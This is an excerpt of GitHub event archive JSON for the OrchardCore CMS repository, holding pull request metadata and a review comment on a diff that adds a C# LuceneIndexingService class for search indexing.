{"login":"ThisNetWorks","id":22046773,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIyMDQ2Nzcz","avatar_url":"https://avatars3.githubusercontent.com/u/22046773?v=4","gravatar_id":"","url":"https://api.github.com/users/ThisNetWorks","html_url":"https://github.com/ThisNetWorks","followers_url":"https://api.github.com/users/ThisNetWorks/followers","following_url":"https://api.github.com/users/ThisNetWorks/following{/other_user}","gists_url":"https://api.github.com/users/ThisNetWorks/gists{/gist_id}","starred_url":"https://api.github.com/users/ThisNetWorks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ThisNetWorks/subscriptions","organizations_url":"https://api.github.com/users/ThisNetWorks/orgs","repos_url":"https://api.github.com/users/ThisNetWorks/repos","events_url":"https://api.github.com/users/ThisNetWorks/events{/privacy}","received_events_url":"https://api.github.com/users/ThisNetWorks/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ThisNetWorks/OrchardCore","description":"Orchard Core is an open-source modular and extensible application framework built with ASP.NET Core, and a content management system (CMS) built on top of that application framework.","fork":true,"url":"https://api.github.com/repos/ThisNetWorks/OrchardCore","forks_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/forks","keys_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/teams","hooks_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/hooks","issue_events_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/issues/events{/number}","events_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/events","assignees_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/assignees{/user}","branches_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/branches{/branch}","tags_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/tags","blobs_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/git/refs{/sha}","trees_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/statuses/{sha}","languages_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/languages","stargazers_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/stargazers","contributors_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/contributors","subscribers_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/subscribers","subscription_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/subscription","commits_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/commits{/sha}","git_commits_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/git/commits{/sha}","comments_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/comments{/number}","issue_comment_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/issues/comments{/number}","contents_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/contents/{+path}","compare_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/merges","archive_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/downloads","issues_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/issues{/number}","pulls_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/pulls{/number}","milestones_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/milestones{/number}","notifications_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/labels{/name}","releases_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/releases{/id}","deployments_url":"https://api.github.com/repos/ThisNetWorks/OrchardCore/deployments","created_at":"2019-02-10T10:35:12Z","updated_at":"2019-04-09T15:04:07Z","pushed_at":"2019-08-18T11:02:53Z","git_url":"git://github.com/ThisNetWorks/OrchardCore.git","ssh_url":"git@github.com:ThisNetWorks/OrchardCore.git","clone_url":"https://github.com/ThisNetWorks/OrchardCore.git","svn_url":"https://github.com/ThisNetWorks/OrchardCore","homepage":"http://www.orchardproject.net/","size":60462,"stargazers_count":1,"watchers_count":1,"language":"JavaScript","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":1,"default_branch":"dev"}},"base":{"label":"OrchardCMS:dev","ref":"dev","sha":"eabfcd100925a6b2cf275e3d7d579fa1d3038475","user":{"login":"OrchardCMS","id":1159247,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExNTkyNDc=","avatar_url":"https://avatars2.githubusercontent.com/u/1159247?v=4","gravatar_id":"","url":"https://api.github.com/users/OrchardCMS","html_url":"https://github.com/OrchardCMS","followers_url":"https://api.github.com/users/OrchardCMS/followers","following_url":"https://api.github.com/users/OrchardCMS/following{/other_user}","gists_url":"https://api.github.com/users/OrchardCMS/gists{/gist_id}","starred_url":"https://api.github.com/users/OrchardCMS/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OrchardCMS/subscriptions","organizations_url":"https://api.github.com/users/OrchardCMS/orgs","repos_url":"https://api.github.com/users/OrchardCMS/repos","events_url":"https://api.github.com/users/OrchardCMS/events{/privacy}","received_events_url":"https://api.github.com/users/OrchardCMS/received_events","type":"Organization","site_admin":false},"repo":{"id":26884725,"node_id":"MDEwOlJlcG9zaXRvcnkyNjg4NDcyNQ==","name":"OrchardCore","full_name":"OrchardCMS/OrchardCore","private":false,"owner":{"login":"OrchardCMS","id":1159247,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExNTkyNDc=","avatar_url":"https://avatars2.githubusercontent.com/u/1159247?v=4","gravatar_id":"","url":"https://api.github.com/users/OrchardCMS","html_url":"https://github.com/OrchardCMS","followers_url":"https://api.github.com/users/OrchardCMS/followers","following_url":"https://api.github.com/users/OrchardCMS/following{/other_user}","gists_url":"https://api.github.com/users/OrchardCMS/gists{/gist_id}","starred_url":"https://api.github.com/users/OrchardCMS/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OrchardCMS/subscriptions","organizations_url":"https://api.github.com/users/OrchardCMS/orgs","repos_url":"https://api.github.com/users/OrchardCMS/repos","events_url":"https://api.github.com/users/OrchardCMS/events{/privacy}","received_events_url":"https://api.github.com/users/OrchardCMS/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/OrchardCMS/OrchardCore","description":"Orchard Core is an open-source modular and multi-tenant application framework built with ASP.NET Core, and a content management system (CMS) built on top of that application framework.","fork":false,"url":"https://api.github.com/repos/OrchardCMS/OrchardCore","forks_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/forks","keys_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/keys{/key_id}","collaborators_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/teams","hooks_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/hooks","issue_events_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues/events{/number}","events_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/events","assignees_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/assignees{/user}","branches_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/branches{/branch}","tags_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/tags","blobs_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/git/refs{/sha}","trees_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/git/trees{/sha}","statuses_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/statuses/{sha}","languages_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/languages","stargazers_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/stargazers","contributors_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/contributors","subscribers_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/subscribers","subscription_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/subscription","commits_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/commits{/sha}","git_commits_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/git/commits{/sha}","comments_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/comments{/number}","issue_comment_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues/comments{/number}","contents_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/contents/{+path}","compare_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/compare/{base}...{head}","merges_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/merges","archive_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/downloads","issues_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues{/number}","pulls_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls{/number}","milestones_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/milestones{/number}","notifications_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/labels{/name}","releases_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/releases{/id}","deployments_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/deployments","created_at":"2014-11-19T22:29:26Z","updated_at":"2019-08-18T03:42:35Z","pushed_at":"2019-08-18T11:02:55Z","git_url":"git://github.com/OrchardCMS/OrchardCore.git","ssh_url":"git@github.com:OrchardCMS/OrchardCore.git","clone_url":"https://github.com/OrchardCMS/OrchardCore.git","svn_url":"https://github.com/OrchardCMS/OrchardCore","homepage":"http://www.orchardproject.net/","size":61670,"stargazers_count":2932,"watchers_count":2932,"language":"C#","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1039,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":637,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":1039,"open_issues":637,"watchers":2932,"default_branch":"dev"}},"_links":{"self":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/4025"},"html":{"href":"https://github.com/OrchardCMS/OrchardCore/pull/4025"},"issue":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues/4025"},"comments":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues/4025/comments"},"review_comments":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/4025/comments"},"review_comment":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/4025/commits"},"statuses":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/statuses/79b83ef3ee2fbde1524c02f1002ab442a4f16891"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 26884725,
"name": "OrchardCMS/OrchardCore",
"url": "https://api.github.com/repos/OrchardCMS/OrchardCore"
}
|
{
"id": 13782679,
"login": "deanmarcussen",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/13782679?",
"url": "https://api.github.com/users/deanmarcussen"
}
|
{
"id": 1159247,
"login": "OrchardCMS",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1159247?",
"url": "https://api.github.com/orgs/OrchardCMS"
}
| 2019-08-18T11:17:45 |
10231651818
|
{"actor":{"display_login":"deanmarcussen"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/comments/293716495","pull_request_review_id":249782480,"id":293716495,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI5MzcxNjQ5NQ==","diff_hunk":"@@ -0,0 +1,209 @@\n+using System;\n+using System.Collections.Generic;\n+using System.Linq;\n+using System.Threading.Tasks;\n+using Microsoft.Extensions.DependencyInjection;\n+using Microsoft.Extensions.Logging;\n+using OrchardCore.ContentManagement;\n+using OrchardCore.Entities;\n+using OrchardCore.Environment.Shell;\n+using OrchardCore.Environment.Shell.Scope;\n+using OrchardCore.Indexing;\n+using OrchardCore.Modules;\n+using OrchardCore.Settings;\n+\n+namespace OrchardCore.Lucene\n+{\n+ /// <summary>\n+ /// This class provides services to update all the Lucene indices. It is non-rentrant so that calls \n+ /// from different components can be done simultaneously, e.g. from a background task, an event or a UI interaction.\n+ /// It also indexes one content item at a time and provides the result to all indices.\n+ /// </summary>\n+ public class LuceneIndexingService\n+ {\n+ private const int BatchSize = 100;\n+ private readonly IShellHost _shellHost;\n+ private readonly ShellSettings _shellSettings;\n+ private readonly LuceneIndexingState _indexingState;\n+ private readonly LuceneIndexSettings _luceneIndexSettings;\n+ private readonly LuceneIndexManager _indexManager;\n+ private readonly IIndexingTaskManager _indexingTaskManager;\n+ private readonly ISiteService _siteService;\n+\n+ public LuceneIndexingService(\n+ IShellHost shellHost,\n+ ShellSettings shellSettings,\n+ LuceneIndexingState indexingState,\n+ LuceneIndexSettings luceneIndexSettings,\n+ LuceneIndexManager indexManager,\n+ IIndexingTaskManager indexingTaskManager,\n+ ISiteService siteService,\n+ ILogger<LuceneIndexingService> logger)\n+ {\n+ _shellHost = shellHost;\n+ _shellSettings = shellSettings;\n+ _indexingState = indexingState;\n+ _luceneIndexSettings = luceneIndexSettings;\n+ _indexManager = indexManager;\n+ _indexingTaskManager = indexingTaskManager;\n+ _siteService = siteService;\n+\n+ Logger = logger;\n+ }\n+\n+ public ILogger Logger { get; }\n+\n+ public async Task ProcessContentItemsAsync(string indexName = default)","path":"src/OrchardCore.Modules/OrchardCore.Lucene/Services/LuceneIndexingService.cs","position":56,"original_position":56,"commit_id":"f3ec68f36a6afe03f85d36374cf294c69308a697","original_commit_id":"f3ec68f36a6afe03f85d36374cf294c69308a697","user":{"login":"Skrypt","id":3228637,"node_id":"MDQ6VXNlcjMyMjg2Mzc=","avatar_url":"https://avatars0.githubusercontent.com/u/3228637?v=4","gravatar_id":"","url":"https://api.github.com/users/Skrypt","html_url":"https://github.com/Skrypt","followers_url":"https://api.github.com/users/Skrypt/followers","following_url":"https://api.github.com/users/Skrypt/following{/other_user}","gists_url":"https://api.github.com/users/Skrypt/gists{/gist_id}","starred_url":"https://api.github.com/users/Skrypt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Skrypt/subscriptions","organizations_url":"https://api.github.com/users/Skrypt/orgs","repos_url":"https://api.github.com/users/Skrypt/repos","events_url":"https://api.github.com/users/Skrypt/events{/privacy}","received_events_url":"https://api.github.com/users/Skrypt/received_events","type":"User","site_admin":false},"body":"This was not processing one index at a time. I kept the option but now we can pass the indexName to start processing a specific index.","created_at":"2019-06-14T08:52:10Z","updated_at":"2019-06-14T08:52:10Z","html_url":"https://github.com/OrchardCMS/OrchardCore/pull/3809#discussion_r293716495","pull_request_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/3809","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/comments/293716495"},"html":{"href":"https://github.com/OrchardCMS/OrchardCore/pull/3809#discussion_r293716495"},"pull_request":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/3809"}}},"pull_request":{"url":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/3809","id":288238132,"node_id":"MDExOlB1bGxSZXF1ZXN0Mjg4MjM4MTMy","html_url":"https://github.com/OrchardCMS/OrchardCore/pull/3809","diff_url":"https://github.com/OrchardCMS/OrchardCore/pull/3809.diff","patch_url":"https://github.com/OrchardCMS/OrchardCore/pull/3809.patch","issue_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues/3809","number":3809,"state":"open","locked":false,"title":"Lucene Index Settings (Analyzers)","user":{"login":"Skrypt","id":3228637,"node_id":"MDQ6VXNlcjMyMjg2Mzc=","avatar_url":"https://avatars0.githubusercontent.com/u/3228637?v=4","gravatar_id":"","url":"https://api.github.com/users/Skrypt","html_url":"https://github.com/Skrypt","followers_url":"https://api.github.com/users/Skrypt/followers","following_url":"https://api.github.com/users/Skrypt/following{/other_user}","gists_url":"https://api.github.com/users/Skrypt/gists{/gist_id}","starred_url":"https://api.github.com/users/Skrypt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Skrypt/subscriptions","organizations_url":"https://api.github.com/users/Skrypt/orgs","repos_url":"https://api.github.com/users/Skrypt/repos","events_url":"https://api.github.com/users/Skrypt/events{/privacy}","received_events_url":"https://api.github.com/users/Skrypt/received_events","type":"User","site_admin":false},"body":"This is a work in progress","created_at":"2019-06-14T08:49:36Z","updated_at":"2019-06-14T08:52:10Z","closed_at":null,"merged_at":null,"merge_commit_sha":"ff12d5b1a549264c8086846a52463a72bacc1158","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/3809/commits","review_comments_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/3809/comments","review_comment_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/comments{/number}","comments_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues/3809/comments","statuses_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/statuses/f3ec68f36a6afe03f85d36374cf294c69308a697","head":{"label":"OrchardCMS:skrypt/lucene-analyzers","ref":"skrypt/lucene-analyzers","sha":"f3ec68f36a6afe03f85d36374cf294c69308a697","user":{"login":"OrchardCMS","id":1159247,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExNTkyNDc=","avatar_url":"https://avatars2.githubusercontent.com/u/1159247?v=4","gravatar_id":"","url":"https://api.github.com/users/OrchardCMS","html_url":"https://github.com/OrchardCMS","followers_url":"https://api.github.com/users/OrchardCMS/followers","following_url":"https://api.github.com/users/OrchardCMS/following{/other_user}","gists_url":"https://api.github.com/users/OrchardCMS/gists{/gist_id}","starred_url":"https://api.github.com/users/OrchardCMS/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OrchardCMS/subscriptions","organizations_url":"https://api.github.com/users/OrchardCMS/orgs","repos_url":"https://api.github.com/users/OrchardCMS/repos","events_url":"https://api.github.com/users/OrchardCMS/events{/privacy}","received_events_url":"https://api.github.com/users/OrchardCMS/received_events","type":"Organization","site_admin":false},"repo":{"id":26884725,"node_id":"MDEwOlJlcG9zaXRvcnkyNjg4NDcyNQ==","name":"OrchardCore","full_name":"OrchardCMS/OrchardCore","private":false,"owner":{"login":"OrchardCMS","id":1159247,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExNTkyNDc=","avatar_url":"https://avatars2.githubusercontent.com/u/1159247?v=4","gravatar_id":"","url":"https://api.github.com/users/OrchardCMS","html_url":"https://github.com/OrchardCMS","followers_url":"https://api.github.com/users/OrchardCMS/followers","following_url":"https://api.github.com/users/OrchardCMS/following{/other_user}","gists_url":"https://api.github.com/users/OrchardCMS/gists{/gist_id}","starred_url":"https://api.github.com/users/OrchardCMS/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OrchardCMS/subscriptions","organizations_url":"https://api.github.com/users/OrchardCMS/orgs","repos_url":"https://api.github.com/users/OrchardCMS/repos","events_url":"https://api.github.com/users/OrchardCMS/events{/privacy}","received_events_url":"https://api.github.com/users/OrchardCMS/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/OrchardCMS/OrchardCore","description":"Orchard Core is an open-source modular and multi-tenant application framework built with ASP.NET Core, and a content management system (CMS) built on top of that application framework.","fork":false,"url":"https://api.github.com/repos/OrchardCMS/OrchardCore","forks_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/forks","keys_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/keys{/key_id}","collaborators_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/teams","hooks_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/hooks","issue_events_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues/events{/number}","events_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/events","assignees_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/assignees{/user}","branches_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/branches{/branch}","tags_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/tags","blobs_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/git/refs{/sha}","trees_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/git/trees{/sha}","statuses_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/statuses/{sha}","languages_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/languages","stargazers_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/stargazers","contributors_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/contributors","subscribers_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/subscribers","subscription_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/subscription","commits_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/commits{/sha}","git_commits_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/git/commits{/sha}","comments_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/comments{/number}","issue_comment_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues/comments{/number}","contents_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/contents/{+path}","compare_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/compare/{base}...{head}","merges_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/merges","archive_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/downloads","issues_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues{/number}","pulls_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls{/number}","milestones_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/milestones{/number}","notifications_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/labels{/name}","releases_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/releases{/id}","deployments_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/deployments","created_at":"2014-11-19T22:29:26Z","updated_at":"2019-06-14T02:35:52Z","pushed_at":"2019-06-14T08:49:37Z","git_url":"git://github.com/OrchardCMS/OrchardCore.git","ssh_url":"git@github.com:OrchardCMS/OrchardCore.git","clone_url":"https://github.com/OrchardCMS/OrchardCore.git","svn_url":"https://github.com/OrchardCMS/OrchardCore","homepage":"http://www.orchardproject.net/","size":59589,"stargazers_count":2764,"watchers_count":2764,"language":"C#","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":956,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":580,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":956,"open_issues":580,"watchers":2764,"default_branch":"dev"}},"base":{"label":"OrchardCMS:dev","ref":"dev","sha":"28158c607c69b3685a897df1fc0bea8995e5d174","user":{"login":"OrchardCMS","id":1159247,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExNTkyNDc=","avatar_url":"https://avatars2.githubusercontent.com/u/1159247?v=4","gravatar_id":"","url":"https://api.github.com/users/OrchardCMS","html_url":"https://github.com/OrchardCMS","followers_url":"https://api.github.com/users/OrchardCMS/followers","following_url":"https://api.github.com/users/OrchardCMS/following{/other_user}","gists_url":"https://api.github.com/users/OrchardCMS/gists{/gist_id}","starred_url":"https://api.github.com/users/OrchardCMS/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OrchardCMS/subscriptions","organizations_url":"https://api.github.com/users/OrchardCMS/orgs","repos_url":"https://api.github.com/users/OrchardCMS/repos","events_url":"https://api.github.com/users/OrchardCMS/events{/privacy}","received_events_url":"https://api.github.com/users/OrchardCMS/received_events","type":"Organization","site_admin":false},"repo":{"id":26884725,"node_id":"MDEwOlJlcG9zaXRvcnkyNjg4NDcyNQ==","name":"OrchardCore","full_name":"OrchardCMS/OrchardCore","private":false,"owner":{"login":"OrchardCMS","id":1159247,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExNTkyNDc=","avatar_url":"https://avatars2.githubusercontent.com/u/1159247?v=4","gravatar_id":"","url":"https://api.github.com/users/OrchardCMS","html_url":"https://github.com/OrchardCMS","followers_url":"https://api.github.com/users/OrchardCMS/followers","following_url":"https://api.github.com/users/OrchardCMS/following{/other_user}","gists_url":"https://api.github.com/users/OrchardCMS/gists{/gist_id}","starred_url":"https://api.github.com/users/OrchardCMS/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OrchardCMS/subscriptions","organizations_url":"https://api.github.com/users/OrchardCMS/orgs","repos_url":"https://api.github.com/users/OrchardCMS/repos","events_url":"https://api.github.com/users/OrchardCMS/events{/privacy}","received_events_url":"https://api.github.com/users/OrchardCMS/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/OrchardCMS/OrchardCore","description":"Orchard Core is an open-source modular and multi-tenant application framework built with ASP.NET Core, and a content management system (CMS) built on top of that application framework.","fork":false,"url":"https://api.github.com/repos/OrchardCMS/OrchardCore","forks_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/forks","keys_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/keys{/key_id}","collaborators_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/teams","hooks_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/hooks","issue_events_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues/events{/number}","events_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/events","assignees_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/assignees{/user}","branches_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/branches{/branch}","tags_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/tags","blobs_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/git/refs{/sha}","trees_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/git/trees{/sha}","statuses_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/statuses/{sha}","languages_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/languages","stargazers_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/stargazers","contributors_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/contributors","subscribers_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/subscribers","subscription_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/subscription","commits_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/commits{/sha}","git_commits_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/git/commits{/sha}","comments_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/comments{/number}","issue_comment_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues/comments{/number}","contents_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/contents/{+path}","compare_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/compare/{base}...{head}","merges_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/merges","archive_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/downloads","issues_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues{/number}","pulls_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls{/number}","milestones_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/milestones{/number}","notifications_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/labels{/name}","releases_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/releases{/id}","deployments_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/deployments","created_at":"2014-11-19T22:29:26Z","updated_at":"2019-06-14T02:35:52Z","pushed_at":"2019-06-14T08:49:37Z","git_url":"git://github.com/OrchardCMS/OrchardCore.git","ssh_url":"git@github.com:OrchardCMS/OrchardCore.git","clone_url":"https://github.com/OrchardCMS/OrchardCore.git","svn_url":"https://github.com/OrchardCMS/OrchardCore","homepage":"http://www.orchardproject.net/","size":59589,"stargazers_count":2764,"watchers_count":2764,"language":"C#","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":956,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":580,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"M